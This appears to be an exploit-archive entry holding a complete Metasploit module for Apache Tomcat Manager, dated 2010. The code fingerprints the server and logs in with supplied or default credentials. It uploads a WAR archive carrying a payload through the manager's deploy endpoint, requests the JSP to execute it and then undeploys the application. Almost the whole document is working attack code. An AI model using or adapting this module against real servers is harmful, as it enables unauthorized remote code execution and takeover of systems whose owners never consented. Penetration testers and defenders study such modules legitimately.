Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit)



Platform:

Multiple

Date:

2010-12-14


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##
# $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
			'Description'    => %q{
					This module can be used to execute a payload on Apache Tomcat servers that
				have an exposed "manager" application. The payload is uploaded as a WAR archive
				containing a jsp application using a PUT request.

				The manager application can also be abused using /manager/html/upload, but that
				method is not implemented in this module.
			},
			'Author'      => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'     => '$Revision: 11330 $',
			'References'  =>
				[
					# There is no single vulnerability associated with deployment functionality.
					# Instead, the focus has been on insecure/blank/hardcoded default passwords.

					# The following references refer to HP Operations Manager
					[ 'CVE', '2009-3843' ],
					[ 'OSVDB', '60317' ],
					[ 'CVE', '2009-4189' ],
					[ 'OSVDB', '60670' ],

					# HP Operations Dashboard
					[ 'CVE', '2009-4188' ],

					# IBM Cognos Express Default user/pass
					[ 'BID', '38084' ],
					[ 'CVE', '2010-0557' ],
					[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],

					# IBM Rational Quality Manager and Test Lab Manager
					[ 'CVE', '2010-4094' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],

					# 'admin' password is blank in default Windows installer
					[ 'CVE', '2009-3548' ],
					[ 'OSVDB', '60176' ],
					[ 'BID', '36954' ],

					# tomcat docs
					[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
				],
			'Platform'    => [ 'java', 'win', 'linux' ], # others?
			'Targets'     =>
				[
					#
					# detect via /manager/serverinfo
					#
					[ 'Automatic', { } ],

					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					],

					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],

					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 09 2009'))

		register_options(
			[
				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
				OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
				# /cognos_express/manager/ for Cognos Express (19300)
				OptString.new('PATH', [ true,  "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
			], self.class)
	end


	def auto_target
		print_status("Attempting to automatically select a target...")

		res = query_serverinfo()
		return nil if not res

		plat = detect_platform(res.body)
		arch = detect_arch(res.body)

		# No arch or platform found?
		if (not arch or not plat)
			return nil
		end

		# see if we have a match
		targets.each { |t|
			if (t['Platform'] == plat) and (t['Arch'] == arch)
				return t
			end
		}

		# no matching target found
		return nil
	end


	def exploit
		datastore['BasicAuthUser'] = datastore['USERNAME']
		datastore['BasicAuthPass'] = datastore['PASSWORD']

		mytarget = target
		if (target.name =~ /Automatic/)
			mytarget = auto_target
			if (not mytarget)
				raise RuntimeError, "Unable to automatically select a target"
			end
			print_status("Automatically selected target \"#{mytarget.name}\"")
		else
			print_status("Using manually select target \"#{mytarget.name}\"")
		end

		# We must regenerate the payload in case our auto-magic changed something.
		p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

		# Generate the WAR containing the EXE containing the payload
		jsp_name = rand_text_alphanumeric(4+rand(32-4))
		app_base = rand_text_alphanumeric(4+rand(32-4))

		# Generate the WAR containing the payload
		war = p.encoded_war({
				:app_name => app_base,
				:jsp_name => jsp_name,
				:arch => mytarget.arch,
				:platform => mytarget.platform
			}).to_s

		query_str = "?path=/" + app_base

		#
		# UPLOAD
		#
		path_tmp = datastore['PATH'] + "/deploy" + query_str
		print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
		res = send_request_cgi({
			'uri'          => path_tmp,
			'method'       => 'PUT',
			'ctype'        => 'application/octet-stream',
			'data'         => war,
		}, 20)
		if (! res)
			raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
		end
		if (res.code < 200 or res.code >= 300)
			case res.code
			when 401
				print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
			end
			raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
		end

		#
		# EXECUTE
		#
		jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
		print_status("Executing #{jsp_path}...")
		res = send_request_cgi({
			'uri'          => jsp_path,
			'method'       => 'GET'
		}, 20)

		if (! res)
			print_error("Execution failed on #{app_base} [No Response]")
		elsif (res.code < 200 or res.code >= 300)
			print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
			print_status(res.body) if datastore['VERBOSE']
		end

		#
		# DELETE
		#
		path_tmp = datastore['PATH'] + "/undeploy" + query_str
		print_status("Undeploying #{app_base} ...")
		res = send_request_cgi({
			'uri'          => path_tmp,
			'method'       => 'GET'
		}, 20)
		if (! res)
			print_error("WARNING: Undeployment failed on #{path} [No Response]")
		elsif (res.code < 200 or res.code >= 300)
			print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
		end

		handler
	end

	def query_serverinfo()
		path = datastore['PATH'] + '/serverinfo'
		res = send_request_raw(
			{
				'uri'   => path
			}, 10)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		print_status(res.body) if datastore['VERBOSE']

		return res
	end

	def detect_platform(body = nil)
		if not body
			res = query_serverinfo()
			return nil if not res
			body = res.body
		end

		body.each_line { |ln|
			ln.chomp!

			case ln
			when /OS Name: /
				os = ln.split(':')[1]
				case os
				when /Windows/
					return 'win'

				when /Linux/
					return 'linux'

				end
			end
		}
	end

	def detect_arch(body)
		body.each_line { |ln|
			ln.chomp!

			case ln
			when /OS Architecture: /
				ar = ln.split(':')[1].strip
				case ar
				when 'x86', 'i386', 'i686'
					return ARCH_X86

				when 'x86_64', 'amd64'
					return ARCH_X86

				end
			end
		}
	end

end